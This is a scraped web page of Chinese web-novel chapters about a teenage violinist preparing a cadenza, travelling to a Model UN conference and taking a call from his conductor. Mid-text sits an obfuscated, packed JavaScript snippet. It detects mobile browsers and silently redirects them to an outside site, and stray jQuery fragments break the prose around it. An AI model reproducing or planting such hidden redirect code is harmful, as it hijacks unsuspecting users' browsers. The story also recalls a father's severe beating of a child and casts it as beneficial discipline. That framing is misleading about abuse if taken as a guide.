$(''.inform'').remove(); $(''#content'').append('' p>什么?不祥的预感成真,顾梓聿仿佛被雷劈中,目瞪口呆地看着宋熙和,这句话把他炸得脑中一片空白,他一副呆头鹅样地看着宋熙和:“师兄,什么意思?我没懂…” 宋熙和淡定得好像这只是让他写个作文,语气轻描淡写:“你最近状态不错,可以多准备一首曲子,威尼亚夫斯基用来展现你的技术基础和表现力,莫扎特的华彩用来展示你的个人音乐理解和音乐审美。如果当天状态有变,你也可以根据自己的身体和精神状态灵活选择,我们相当于把技术和音乐性两个方向都准备好了,双线作战,绝对是安全且加分的策略。” 师兄,你在开玩笑吗?!现在临时加一首作品,还要自己写一段华彩出来? 顾梓聿心里有一万匹野马仰天长啸:就算莫扎特三不难,但人家好歹也是个正经的协奏曲,怎么能说加就加呢?他最近真是忙得天昏地暗,即使把他一个人劈成十个也忙不过来啊!更何况他两周之后就要去参加 HMUN 模联大会了,杜若钦真是往死里练他,他前几天晚上做梦梦见自己一张嘴说的就是“the delegate of Polynesia thinks that…”,都已经是走火入魔了。 宋熙和看着眼前小师弟一脸崩溃的模样,反而笑出声来:“你梅纽因初赛的时候不是也有即兴演奏?之前第一次见面的时候你不是也用双音和弦改编了整首《沉思》?再说了,又不是让你直接拿着就上考场,我也会给你把关的,这首协奏曲结构清晰,旋律简单,你有很大的创作空间,不会被过于复杂的旋律和节奏所限制,这一点上比起第四和第五小提琴协奏曲好多了。” 顾梓聿还沉浸在天崩地裂的情绪里,宋熙和看了看表:“现在时间还早,你干脆在这里把第一乐章的华彩先构思一下。” 顾梓聿根本都来不及挣扎。 “快点,愣着干嘛,给你时间还不珍惜。”宋熙和装作没看见小师弟那一脸纠结痛苦的表情,好整以暇地坐在哪儿,拿起了手边的书看了起来。 顾梓聿欲哭无泪,迫于宋熙和的淫威又不敢多说些什么,只好一脸生无可恋地重新拿起琴,委委屈屈地挤着他那些为数不多的灵感,希望能有个精灵从天而降,解救他于水火之中。 心情如此,拉出来的琴音自然也不可能轻快活泼到哪里去。 宋熙和放下手里的书,抬起头来,清清淡淡地说:“不想现在想是吗?茱莉亚那边你是三月底的面试。现在是一月底,下周还有一次课,然后你就要去参加你那个模联大会,一回来就是三月初了。你现在不准备,什么时候准备?” “这两个学院给出的录取名额都很少,竞争者又很多,你虽然顶了个梅纽因大赛第一名的名头,但你不是专业出身,没有经历他们那样高强度的训练,基础上无论如何都会稍差一些。” “你还记得郭震吗?虽然那个女孩子比赛的时候是有些心思不纯,但是她的技术旳确是很全面很完善,是,你有和乐队合作的丰富经验,但是这样的机会,专业院校出来的学生只会有更多;当然,你也有优势,情感丰富细腻,但是相应的情感也需要相应的技术来表达,你当时拿奖,不意味着在技术上全面超过了第二名,只能说,你的技术、情感、选曲,甚至服装外貌,都恰合了评委的心意,这是天时地利人和的事,却不代表着你在任何时间、任何地点都可以有如此好运。” “况且,你现在顶着这个名头,如果没有相应最好的表现,很容易让对方老师的期望落空,这对你以后进校学习也不是一个好的开头。” 得,这边还在操心入学试,现在这句话就笃定自己能入学了,师兄对自己真是有信心啊。 “你的比赛视频,他们应该看过很多次,初赛的巴赫无伴奏,你的理性的控制和结构的掌控还有乐句的呼吸感是有很好的展现的,决赛的四季,你的临场处理和乐队的配合也会给他们留下深刻的印象。我们就要利用这种思维定势,避开和那些竞争者的冲突,威尼亚夫斯基是在技巧和表达的平衡上做文章,而莫扎特是要展现你驾驭乐曲的能力,这种素质反而是很多人都缺乏的。” 好的,师兄说的都是对的,如有不对,请参照上一条。 顾梓聿无言,只好吞下了满腹的苦涩——他自己都没有意识到,这么多年来,他已经习惯了对师长的要求逆来顺受,连反驳都省了。此刻,他重新从第一乐章的主旋律开始,慢慢延展开来,尝试加入复调和声,逐渐编织出一个变幻交错的旋律网,音符从指尖淌出,最开始拘谨生涩,慢慢竟也流畅了起来。 宋熙和也没有闲着,他从书架里抽出一沓空白的五线谱纸,抄起铅笔飞快地把顾梓聿拉出的旋律记录下来,偶尔也在一些地方附上了自己改进的乐句。师兄弟两人配合默契,还没到半个小时,第一乐章的华彩乐段就已经初具雏形了。 顾梓聿停了停,有点犹豫不决地先瞟了宋熙和一眼,弓子在琴上微动,发出试探的声音:他不知道自己这胡乱即兴的质量如何,也对自己的成品没有信心。 宋熙和倒是很直接,最后一个句子“刷刷刷”写完,随口点评道:“可以了。回去看看我给你圈起来的这几处,我的想法附在下面了,当然这对你来说只是一个参考,主要是起到一个抛砖引玉的作用。你回去还得再想一个版本,回来我们对比选择一下。” “嗯。”顾梓聿点了点头。 他此时已不再是不情愿地被任务追着跑,而是已经完全沉浸在自己的世界里了,另一个华彩乐段也逐渐从脑海里浮现,这串旋律仿佛是早已刻在他灵魂深处,只等他从水底下拿出来罢了。 48.人情世故 鹿城虽然行政区域不大,但地理位置特殊,可谓是东南形胜,自古繁华,自古起便是海上丝路的交通要镇,现在也是华纳帝国最重要的港口都市之一。与此同时,鹿城的航空业也极为繁忙,每天有上百架航班往返世界各大城市,候机楼内人流不息,灯光明亮如昼。 此时,鹿城机场国际航班的候机室内一片笑语晏晏,模联社的二十二名学生正三三两两地聚在一隅,或休息或交谈着,带队的赵奇老师坐在一旁,时不时和学生寒暄几句,显得颇为自得。 这次出行,真正奔着拿奖去的人,其实不多。模联社三尊大佛里,杜若钦这一次去索伦就并不是为了参加模联大会。她申请了几所索伦的大学,最近已经收到了来自其中两所大学的 offer,在等待其他学校的 offer 时,她想去亲自看看那些学校,也好为自己将来的决定做参考,于是一早就先飞过去了,预计大会正式开始前再与大家会合。 田元元倒是来参会的,不过她也不是参会代表,而是大会观察员。凭借丰富的模联经验,田元元已经提前被江州大学预录取了,江大的校领导给她下了个死命令,希望她在入校后的第一个学年内作为主席,能够组织起一场在华南地区有辐射影响力的高校模联大会,因此田元元这次去 HMUN 更多的是考察——了解大会组织流程、人员调控等,汲取经验教训,顺便带队辅导一下学弟学妹们。至于第三尊大佛郭弢,因为要准备自主招生,就没有跟着出来。 被杜若钦寄予厚望的,高一有一个顾梓聿,高二有一个林亦凡。另外还有几个能力不错的,但能不能拿奖就要看个人临场发挥的素质如何了。除此之外,大部分人不过是出来见见世面。毕竟整个大会满打满算从头到尾也就四天,除去开幕闭幕与社交活动,留给真正辩论与展示的机会并不多。悟性、应变、表达、心理素质,全都拼的是临门一脚——教是教不会的,如何在有限的时间里发挥亮眼,这真的只能靠自己的悟性和天分了。 对于大多数学生来说,这更像是一场增广见闻的旅程。索伦的行程安排得紧凑而充实:在正式参会之前,学生们会游览几座索伦的著名城市,除了首都华都,他们还将造访纽城、波城与费城,参观著名景点如自由女神像、时代广场等声名远扬的旅游胜地,也将拜访当地的八中校友,并走进多所世界级学府。这些校园,承载着无数人的梦想,漫步其间,可能几分钟你就会遇上一个某研究领域的世界大牛。八中的这些学生们早就对这些陌生而璀璨的高等学府充满了好奇——即使将来未必出国读书,他们也渴望一睹不同文化背景下的学术氛围。 说来也怪,八中历届的学生真是分外的团结,作为一所中学,这样的校风放眼全帝国都是排得上号的。毕竟,八中的校歌里就强调了团结的重要性:“追想鹿洞书院学风诚朴,而今吾辈同侪欢聚一堂,风雨相亲五更鸡,学以致知尚真理,少年立志做栋梁,勤毅信诚,自立自强,同学互助勿相忘,鼎力为国争荣光!” 大部分八中初中部的学生,只要认真学习,都能顺利升上高中部,在这里度过六年的时光。这样一来,同学相处到最后真的会成为家人一般的存在。八中已经毕业多年的学长学姐提携帮助学弟学妹的事数不胜数,以至于鹿城八中的校友网已经在某些业界成了一个传说。 顾梓聿对此行也有自己的打算:这些大学他眼看着是没可能去读了,但能亲自看一看,过过眼瘾,也是一种满足。比如纽大的电影学院、宾大的商学院,这些地方早在他心中埋下了种子。他想着,未来完成小提琴演奏学位后,或许能申请一个电影音乐制作的项目,又或者干脆去读电影导演。若是愿意“镀金”一下,去商学院转一圈也不是坏主意,搞点文化艺术产业,未尝不可。 反正到那个时候,一个只钟情于拉拉琴、策策展、花花钱的闲人,应该不会有谁再煞费心机去关注或打压吧。到那时,他也许会是自由的。 当然,更现实的是,他得提前去看看柯蒂斯与茱莉亚的校园——真正要待上几年光阴的地方,起码得顺眼才行,不是吗? 他看了看自己周围的同学,有的在聊天,有的趁着候机的时间已经掏出了教辅材料或竞赛书开始刷题。赵奇老师一脸欣赏地和温仪聊天,拼命点头,而田元元则对着她那台笔记本电脑十指如飞。顾梓聿淡定地戴上耳机,配着巴赫的无伴奏,翻开了打印版的立场文件和草案,一手拿着铅笔,一个词一个词地看过去,看看还有什么需要添改的。 撰写模联文件远比普通作文复杂得多。它有着严格规定的语式体裁,还得使用大量平时生活中几乎不会接触的专业词汇。像真正的政府公文一样,起草时必须在给定的范围内带着镣铐起舞,用每一个词都要再三斟酌,简直是一场对语言精准度和思辨能力的双重考验。 因此,大多数学生会套用模板:先用自己的母语在脑子里罗列观点,再根据参考词库将合适的词填上。这样机械的工作有时甚至比单纯写一篇记叙文要简单。而所使用的参考词库,基本上是之前做模联的前辈在学习写作中总结整理的,这样的材料往往也是各个参赛代表团的秘密武器。 然而,这样套模版的方式总有缺陷。就像应付一道文综大题,你不去弄懂出题人的完整思路,仅靠模板拼凑答题框架、堆砌关键词,是踩不到得分点的,顶多能得点同情分。 文件的写作也是这样,不同国家的官方立场源于各自的国家利益,而外交风格的差异,又决定了公文在遣词造句上的独特调性。比如索伦,这几年来随着新总统的上任,外交风格变得有些幼稚冲动,就像一个年轻气盛的少年终于上了拳台,忍不住总要挥挥自己的拳头。而华纳帝国,以往一向低调朴实,但现在,也变得有些高调。 顾梓聿是个有点完美主义倾向的人,他做任何事情都习惯先收集信息,全盘了解后再开始动手,而他学习文件写作的方式就是靠模仿。这是一种速度很慢,见效很慢,但是非常有帮助的扎实的蠢办法。写作的本质就是输出,而要输出的前提就是要有大量阅读的输入。所以他先从海量阅读开始,逐篇研究文件的结构与语言风格,拆解语言背后的逻辑,反复揣摩,再亲手“拼”出一篇属于自己的作品。 这一次模联会议,他抽到的代表国家是珀利尼西亚共和国,这是一个位于卡斯塔大陆中部的总统共和制国家,官方语言为瓦尔语。珀利尼西亚的国土面积仅相当于华纳帝国一个行省的规模,但境内有一座著名的内陆湖泊——珀利尼西亚湖。湖光山色相映成趣,四季如画,风光旖旎、旅游业兴盛,加之其浓郁的南域风情与融合多元种族文化的独特美食,珀利尼西亚在过去十年中迅速崛起,成为全球旅行者趋之若鹜的梦幻之地。 尽管珀利尼西亚仍以农耕为国本,重工业发展滞后,然而它却是卡斯塔大陆主要产金国家之一,境内已探明的金脉超过百条,年均产金达七至八万盎司。凭借这份来自地脉的馈赠,珀利尼西亚的国民虽谈不上富足,却也不至困苦,整体生活水平在诸多边境农业国中已属上乘。 为了尽量接近真实的外交语境,顾梓聿翻阅了珀利尼西亚近三年的所有外交公报,还查阅了国际联盟相关议题的会议纪要。他甚至把 HMUN 近五年所有获奖的代表文件都读了一遍。那天他去学校图书馆打印资料,足足打了一个小时,甚至打完了那一台打印机里预放的纸张,才抱回一摞厚厚的文件,而那只是他筛选后的“精简版”。 了解背景后,他开始逐篇精读。阅读时,他会一边划出关键词,一边梳理逻辑框架,把可用的表达一一记录下来。他的阅读速度极快——上次托福阅读部分,他认真答题的情况下还剩了十多分钟检查,并拿到了30分满分。但面对这些枯燥的外交文书,他仍足足读了两个多星期。 一天读四五个小时的公文,的确令人抓狂。这些文件没有情节、没有引人入胜的故事情境,只有成片成片的官话术语,那种仿佛将自己活埋进一座语言水泥构筑的迷宫的感受,连他也时常感到窒息。但他如今已经长大,懂得如何调整自己的情绪了,懂得用理智和责任感画地为牢,把自己钉在原位,一个词一个词地强迫自己嚼碎了咽下去。 说起钉在原位…顾梓聿几乎是条件反射地坐直了身子,臀部一阵轻微的钝痛仿佛又浮现,他尽力想避免自己回想起什么,甚至紧紧闭起眼睛,但回忆就是这样,你越不想去记起,它越要跳到你眼前,嚣张地挑衅。 特别是一些不好的回忆。 顾梓聿无奈一笑,他放弃了这种无谓的抵抗,而是一松后背,舒服地靠在了椅背上。 他并不是一开始就能做到这样的。曾经,他也对这些歪七扭八的蝌蚪字深恶痛绝过。他把顾仲景精心挑选的外语书垫在上面,底下压的则是从同学那借来的武侠期刊《今古传奇》。那个时候,金庸古龙正风靡校园,“飞雪连天射白鹭,笑书神侠倚碧鸳”,在艰涩难懂的外语与广阔的侠义江湖之间,顾梓聿必然选择的是后者。 最初,顾仲景看到小男孩这么认真读书时,心里还是很欣慰的:多掌握一门外语,就是多掌握了一种不同的思维方式,一个能够探索更大世界、获取更多信息的工具。毕竟很多时候,翻译并不能够百分之百地表达出原作者的意思,有的时候,出于各种考虑,翻译甚至会变成“编译”,随意删减或曲解原作者的意图并不是罕事。 然而,当他有一天拿着削好的水果走进书房,发现顾梓聿慌里慌张地把什么东西往书下一藏,然后故作镇定地翻看着一本讲述人类历史的索伦语科普书籍。顾仲景没费什么口舌,一手干脆利落地掀起外语书,结果底下藏着一本排版简陋、铅字粗糙的武侠小说。 然后呢?然后自己就挨揍了呗。 那几年的顾梓聿,脾气大、倔强得很,一身毛病,动不动就要被教训。但那一次惩戒,顾仲景下手比往常更狠,或许是那时候的自己表现太差,配不上做他亲生父母的孩子,令顾仲景失望了吧。通常每次受罚之后,顾梓聿总能获得几天喘息:在那几天里,他可以尽情地撒撒娇,趴在沙发上看会儿电视或者玩会游戏。但只有那一次,被打的皮开肉绽的屁股没有上药,没得休息,挨完打直接就得坐在坚硬的木椅子上,一边流着泪一边硬把书给看下去。 那时候,他应该是真的很恨顾仲景的吧? 顾梓聿看着记忆里哭得喘不过气的自己,无奈一笑。诚然,顾仲景的教育方式是比较粗暴,可如果不是他这么多年来的高标准严要求,自己恐怕也长不成如今的模样。 他轻轻叹了口气,顾仲景今天回鹿城,他今天离开鹿城,两人正好完美错过。新年夜就在五天之后,这节日本该是家人团聚的日子,但这一次,他却只能把顾仲景一个人留在家里,会冷清的吧? 他发愁地想象着顾仲景一个人坐在空旷的客厅里,新年联欢晚会的背景音热闹而嘈杂,餐桌上却只摆着两道清汤寡水的家常菜,顾仲景坐在餐桌边,一个人慢慢地挑着面前的萝卜丁,眼里有湿润的闪光… 顾梓聿为想象的场景打了个寒颤,顾仲景真的是那种一个人呆着会感到孤独的人吗?他摇了摇头,滑开手机屏幕,顾仲景这个时候应该要登机了吧? 他想了想,发了条消息过去。 “爸爸,请原谅小聿的任性,这次不能和您一起过年了。模联会议我会全力以赴,另外我这次也打算顺路参观两所学校,面试的事情您不用担心,我也会好好准备的。这次出门时间比较长,所以我把琴也带上了。出差几天,您回家后也要注意休息,新年夜不妨和姜家叔叔阿姨一起吃饭庆祝呢?提前祝您新年快乐!” - 在候机室的等待时间并不算漫长,航班即将登机。学生们纷纷收起书本、作业和电子设备,安静地跟在赵奇老师的后面,排队等待着登机。一旁的旅客看到这群年轻学生,好奇地问道:“你们是出国去游学的吗?” “不是的,我们是带学生去参加比赛的。”赵奇老师忙不迭澄清——现如今教育机构借着“出国游学”的幌子骗家长的钱也不是什么稀罕事了,他生怕被误会是那种“坑钱团”。 那旅客又指着顾梓聿背上的琴盒问:“你们是去参加音乐比赛啊?” 顾梓聿的琴盒显然是个显眼的物件:碳纤维材质,轻巧耐压不变形,灰蓝色微微带点珠光,上面贴满了各种贴纸,有金帆乐团和鹿城学生交响乐团的团徽,有顾梓聿曾参加过的音乐节和音乐会的宣传标志和纪念贴纸,琳琅满目,林林总总,一看即知是个艺术生。 来了。顾梓聿装作没听见,微微低头就跟着人流往前走。他甚至不用回头,便能知道赵老师必定又在不悦地皱眉了。不容易啊,像他这么在意自己仪容举止的人,皱眉头已经是很不满的表现了。 他听见了赵老师压抑着不耐烦、又重头开始科普模联的声音,“…这是这个学生的私人行为,与我们校方无关。我们是去参加模联会议的,这是一项极具挑战性的学术活动……” 不论赵奇是真心喜欢模联,还是只是为了借这个新兴活动做出点成绩以为晋身之阶,他都算是尽职尽责地在向身边每一个人推广模联,有时候甚至会有点安利过头,看上去像个偏执的推销员。 也许正是因为两个人性格里的都有那么点“偏执”, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356812|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵奇特别喜欢温仪,可杜若钦始终对温仪无动于衷。这几个月来,杜若钦把她的所有经验和资源都倾注在顾梓聿身上,这种偏爱让赵奇很不高兴。顾梓聿本来就不是他挑的人,在赵奇看来,这个学生不如温仪纯粹,再加上从一些老师那里听到的传闻,他更加认为顾梓聿是个来参加模联只是为了镀金。 事实上,赵奇在这个社团里基本上没有话语权。他能力不行,在专业上没有置喙的余地,在学生中也没有一呼百应的号召力。毕竟最开始这个社团就是由杜若钦一手建立的,赵奇在其中担任的角色只不过是名义上每个社团都必须配备的一个“指导老师”,没有什么实际的价值。他虽然不会故意去和杜若钦对着干,但却也早已不想忍受被架空的现状。温仪是他挑的人,水平高,人也听话。因此,他踌躇满志地,想要培养温仪,将她推上杜若钦的位子。 而顾梓聿,此时就是这个挡路的绊脚石。 顾梓聿清楚赵奇对他的不满从何而来,他相信杜若钦也一定心知肚明,但他们两人都默契地保持了沉默,毕竟他们都知道顾梓聿并不会久留的事实。不过,赵奇对此一无所知,也就免不了给顾梓聿点脸色看。 不过顾梓聿已经习惯了。他小心翼翼地避开每一次可能发生的争端,只是不想给杜若钦惹麻烦。他明白,学姐不是怕事的人,他只不过不想给学姐添麻烦,不愿她把时间浪费在调节这种无谓的争执上,便能忍则忍。 他跟在前方的同学身后,沿着长长的廊桥缓步前行,踏入机舱。赵奇紧随其后,距离不远不近,顾梓聿微微有些后心发麻,但他装作不知,没有回头,快速放下琴盒,跟空姐商量:“Good evening! May I ask you a favor please? Would you please help me find a safe place for my violin?” 金发碧眼的空姐,哦不,空姨,非常自然地接过顾梓聿手里的琴,放进了商务舱前舱壁的置物间。放好了琴之后,她还转过来故作严肃地问道:“Is she a precious Stradivari? Sorry cuz we won’t insure her.” 幽默!顾梓聿笑出声来:“Don’t worry madam,she isn’t a Guarneri either.” 然后他就看见空姨蓝绿色的眼睛俏皮地眨了眨,做出夸张的松口气的动作,而身后也同时传来赵老师不满地一声轻哼。 他恍若未觉,只是微笑向空姐致谢,随即安静走向自己的座位——靠近紧急出口,一如既往,是他特意选的位置。 而赵奇则紧跟着走过过道,面色沉郁,眼神里显然有话要说。 果然,他在顾梓聿面前停下,站得笔直。 顾梓聿立刻起身:“赵老师,您有事儿找我?” 赵奇语气淡漠却锋利:“你是我带出来的学生,我有义务提醒你一些基本的人情世故。出来参加活动,本来就应该专心致志,你带琴出行,没有提前报备就罢了;住宿方面你搞特殊,大家都住两人间,甚至有几天旅馆床位紧张的时候住三人四人间,你却全是单人单间,集体意识在哪儿?还有刚刚那一幕,空姐帮你放琴,看起来轻松,实则是你在占便宜,这样子成何体统?你没看到她那个脸色吗?这可是国际航班,你这是把我们华纳人的脸都丢尽了,贻笑大方啊!” 这…这一连串急风骤雨下来,打的顾梓聿是头昏眼花。他想解释,但在看到赵奇冷峻的脸庞后,又觉得没有开口的必要。赵奇从一开始就对他持有偏见,理由与事实并无关系。他能说什么呢?说练琴不会耽误比赛吗?说一人间的住宿全是自己出的钱,只是不想在练琴的时候影响到别人吗?说空姐刚刚只是在和他开玩笑,询问他的小提琴是否是价值连城的斯特拉迪瓦里吗?说随身带小提琴上机本来就是通行的默认规则,只有大型乐器才需要另行购买机票吗? 旁边的学生们都装作没听见,交头接耳地聊着别的,气氛一时沉闷。顾梓聿没半点挣扎,直接低头,语气诚恳:“对不起赵老师,是我考虑的不周全,您批评的都对,我以后注意。” 形势比人强,不过是低头认错嘛,顾梓聿已经做得十分熟练了。 小小冲突很快就被顾梓聿抛到了脑后。飞机平稳飞行后,他戴上耳机,耳边播放的是昨晚莫扎特的练习录音,开始闭目养神。舷窗之外,飞机穿越过云海,夕阳的光芒映在天边,即使他闭着眼睛,也可以感觉到金红色的光线照在眼皮上,恣意鲜活。 虽然周围的噪音和空姐的穿梭着实有点吵,但他沉下心来,暂时屏蔽掉外界的杂音,在脑子里推敲着已有的几句旋律,尝试着往下延伸。 最近,除了练琴和准备 HMUN 模联大会,顾梓聿几乎是把所有时间都投入到莫扎特的华彩里。除了当时灵感迸发,在师兄家完成的那一段,接下来的几天,他确实没什么头绪。 他深感压力,但勤能补拙,就像写珀利尼西亚的立场文件一样,顾梓聿做足了案头工作。他查阅了莫扎特协奏曲所有的华彩版本和各位名家的演奏录像,也借阅了学和声与对位的教材,用铅笔在谱纸上密密麻麻地写满了各种自己想象的可能的变奏走向和和弦连接,然后再逐一演奏验证,听听是否过渡自然。 华彩,既要表现技巧的华丽,又要保持乐曲的结构与和谐。他知道自己没有经过科班训练,因此没有什么自信,但无论如何,哪怕只是一个句子、一个段落,他也要对自己笔下写出来的东西负责。 他一个一个试过去:音程是否合适,旋律是否自然衔接,和声是否支撑得住情绪。他一遍遍试奏,一遍遍录音,随后回放、删改、重写。有时候只为一个小节的和弦进行,他能反复试十几遍,然后又要推翻重来。 顾梓聿闭着眼睛,默默哼唱着已有的旋律,忽然在思维的某个交汇点上捕捉到了一丝灵光,在旋律主干上做了一个五度上行的模进处理,下个句子呼之欲出。他立刻睁眼,拿出平板和手写笔,趁热打铁顺着灵感把后面几句接了下去,旋律像是顺水而下的河流,越来越自然,越来越顺畅。 “嗯,或许可以在这一段加入一些更复杂的和声。” 他低声自语着,笔尖下的,不再只是音符的排列组合,更像是来自灵魂深处的歌唱。音乐令他暂时地从世俗的纷扰中抽离出来,在私人的精神世界里建起一座只属于他自己的堡垒。 在万米高空中,他低头写谱,将自己真正热爱的事物,一点点编织进未来。 49.就此告别 音乐会结束时,顾梓聿还是激动地心绪难平。他看着大部分观众都退场了,自己才慢慢起身,脑子里还在回味着刚才的精彩演出。夜已深,手表上的指针指向晚上十点,纽城的二月,夜晚格外凉,街角的雪尚未完全消融,泛着黯淡的灰白,但顾梓聿整个人还沉浸在演出的余韵里,一点儿也不觉得冷。 他掏出手机,关闭飞行模式,屏幕亮起的一瞬间,一通未接来电跳了出来。 是柏嘉辉的,半小时前的来电。 他心里一紧,立刻拨了回去。 “柏老师您好!不好意思啊,我刚才没接到您的电话。” 男孩的语调还有点抑制不住的兴奋。 想到现在正是华纳时间的中午,顾梓聿下意识补了一句,“您现在是不是在吃午饭?要是不方便,我待会儿再打过来?” “没事没事。” 顾梓聿听到电话那头人声喧嚣渐远,想来是柏嘉辉特意走到了僻静处,他的声音一如既往地温煦,却透着一股疲惫:“我这边也正好刚结束。你刚才忙着是吗?” “啊,我刚刚才从大卫格芬厅出来。” 这夜风还是有点冷,顾梓聿裹紧了外套,可寒风吹不熄他心头兴奋的小火苗,“ 林肯中心那个!” “哈,你去听了纽城爱乐乐团 ?” 柏嘉辉显然一听就明白了,大卫格芬厅是 NYPO 的主场,今天又不是什么特殊的日子,“今天他们演的什么曲目?你听着感觉怎么样?” 感觉怎么样?只要看着顾梓聿现在这样轻飘飘仿佛要起飞的样子就明白了。 纽城是索伦首屈一指的大都会、文化之都,因此他们这一趟行程,在纽城停留的时间会长一点。除了参观两所著名的大学之外,学生们还有三天的时间可以自由安排。这群孩子早就计划好了,有要去经典旅行景点打卡的,有吃货就想去探店的,有要去百老汇看剧的,有死忠的篮球迷要去篮网队朝圣的,有体育迷定了纽城洋基队和纽城大都会队的棒球票的。 今天下午的行程,是先去外百老汇看《随风而来的玛丽波平斯阿姨》,再去时代广场压马路,然后去华人街吃晚餐,最后上帝国大厦观夜景。顾梓聿早就想在这里听一场交响乐了,于是和大家一起看完了音乐剧、到时代广场逛了一会儿之后,就脱离了大部队自由行动。NYPO 的演出他可是期待已久,这次能够听现场,虽然买不了学生票,他还是咬咬牙买了池座的票。 “和您也算得上是一家人呢!今天是爱德华·格里格的《皮尔金特》,太美了。” 顾梓聿现在脑子里还在循环着小提琴首席的独奏旋律,根本走不出来,语气里充满了震撼和艳羡:“开场是德彪西的《牧神前奏曲》,细腻、浪漫、幻想,太美了,返场是比才的《卡门》,我现在简直想马上冲回家练琴。” 顾梓聿自言自语着,语速越发地快,根本没注意自己说的话究竟有没有逻辑。他虽然自己也是一个乐团的首席,可那毕竟是业余的学生乐团,今天近距离接触了这样世界级的专业交响乐团,三维现场带给他的表现力的震撼,与在家中唱片音响给出的平面效果又是两回事了。那些细微的处理,弓毛落下的每一个微小颤动,乐团整体的呼吸,不同声部间的拉扯与融合,他清晰地见识到了业余和职业的差距。 尤其是那位小提琴首席!这样的落差令他心神恍惚,不能自已。 万幸柏嘉辉居然也听懂了他的胡言乱语:爱德华·格里格也是莱比锡音乐学院的学生,他们确实可以算得上是师出同门,四舍五入也就是一家人吧。 他被这个孩子逗笑了,也完全能够理解对方现在的那种心神俱震——鉴赏音乐这种事,外行看热闹,内行看门道。没有过乐团演奏经验的观众是无法像他们那样,敏锐地意识到同一个乐句不同演绎之间细微的差别的。对于顾梓聿,这个本身有技术、有见识又有经验的年轻人来说,他受到的冲击绝对是巨大的。 他笑着说:“NYPO 的那位音乐总监本身就是细腻又浪漫的风格,跟这套曲目也算相得益彰吧。人家可是十八岁就当上了皇家音乐厅管弦乐团的首席,你要是当了他的师弟,说不定还能创个比他更年轻的记录!” “那位是茱莉亚的?”顾梓聿回过神,声音弱了下来,“怎么可能!我现在都十六了…” 这话的尾音落在柏嘉辉耳朵里,竟带了点垂头丧气的委屈。 柏嘉辉简直要笑出声:以往他怎么没发现自家这个首席这么可爱?他现在眼前出现的不再是那个长得干干净净、清秀挺拔的大男孩,而是女儿养的那只老爱趴在地上冲他吐舌头撒娇的傻狗。 “梓聿,你可是梅纽因第一个包揽全奖的少年组选手,要对自己有点信心,”柏嘉辉语气真诚,“你永远都是我心目中最好的首席!” 这一句不加修饰的认可,让顾梓聿在寒风中怔住了。 顾梓聿正走到地铁站口,就在耳边呼呼的风声中,他突然明白了柏嘉辉这通电话的真正来意。虽然知道这一天总会到来,而且这也是对双方都最合适的选择,但当真要面对的时候,他还是止不住潜意识里那点想逃的胆怯。 “去年那个状况,我也是临危受命,但从我接手你们开始,梓聿,我很感谢你尽心尽力地帮我,没有让乐团变成一盘散沙。我从来没有想到,我能在一个学生乐团里遇到一个这样专业的首席。” 电话这头的顾梓聿听着,突然鼻头一酸,纽城的晚风好像更冷了。他低下头,背靠在地铁站出口的扶手杆上,屏息凝神,看着对面街头的流浪汉和他的狗相依为命,一起沉默地听着。 “去年《金帆号角》的成功演出,有你的一份功劳。乐团和我需要磨合,当时时间紧迫,你的身体状态好像也不太好,但是排练效果不理想的时候,是你主动来找我、和各个声部沟通。我不像吴指挥和你们之前那么有默契,坦白承认,那个时候我心里是没底的,所以我要感谢你,替我分担了这一部分的工作。” 柏嘉辉平时为人虽然说是温文尔雅,但却给人以距离感,排练时候也是一副工作的态度,人比较严肃,大家私底下都说他高冷,因而顾梓聿从来没想过他会直白地说出这些话。 顾梓聿有点受宠若惊,随即换了更正式的称呼,习惯性地谦虚道:“柏指挥,您千万别这么说,我也没做什么,都是分内之事,主要还是靠您和大家一起的努力才有这样的成绩。” 柏嘉辉却还没有说完,他温柔又郑重道:“梓聿,你很棒,你撑起了这个首席的位置,而且做得很好。我想,吴指挥也会和我一样,为你感到骄傲的。我很敬佩他,带出了这样一支学生乐团,更培养出了你这样一位首席。” 顾梓聿的泪终于落下。 寒风擦过眼角,冷得刺骨,他却没动,只是轻轻合了合眼。 他想起了当年吴老师毫不留情的巴掌和那些声色俱厉的训斥,可他也想起了每次演出成功之后,老头望向他欣慰的目光,和搂住他肩笑得开怀的模样。 从当上这个首席开始,顾梓聿就时刻在探索自己的极限。那些年,准备竞赛的学习压力本已繁重,他还必须承担起乐团排练演出的重任。普通的学生只用准时到场参加排练就好,但一次次常规排练背后有多少繁杂琐事是大家想象不到的。乐团每学年会承担至少六个演出项目,只有季末的大项目才需要全体成员参与,另外的小项目对别人来说是选修,可对顾梓聿来说却是必修。对于乐团,他没有所谓的“个人时间”,每个人都可以有自己的特殊情况,可以请假,但是首席不可以。 不是没有埋怨过,可吴老师担任指挥,再苦再难,他也只能咬牙撑着,不能给自己亲老师撂挑子。吴老师是轻伤不下火线,每周的排练不管发生什么都风雨无阻,他也只能学着老师的样。乐团是一个整体,如果他个人的利益和集体的利益发生冲突,他只能牺牲自己。 那年,他们去莫斯科参加世界学生交响乐团的比赛,顾梓聿水土不服,也不知道是哪里不对,当晚就发起了高烧,把自己烧醒了,一直到第二天早上热度还退不下来。 说来也怪,不吃退烧药他人倒还精神,只是头痛。顾梓聿硬是忍着没说,整个人烧了一天,一直坚持到当天晚上比赛结束,大家都回到酒店后,他才悄悄和一位陪同的学生家长去的医院。那个时候,他嗓子都烧哑了,眼睛都烧得睁不开。 吴宏礼正纳闷呢,怎么这小子一整天人恹恹的,脸还挺红,以为他是在舞台上兴奋过度了脱劲儿了。直到知道他烧了整整一天之后,又心疼又气得想揍人,骂着顾梓聿胡来不知轻重,不拿自己的身体当回事儿。可最后看着小孩捧着奖杯那傻乐的劲儿,那一肚子责备的话又都说不出来了。 那次回来后,顾梓聿休养了好一阵子才恢复了元气,发烧这件事,除了几个大人,几乎没人知道。 当首席是难事,可要坐稳这个位置,更难。 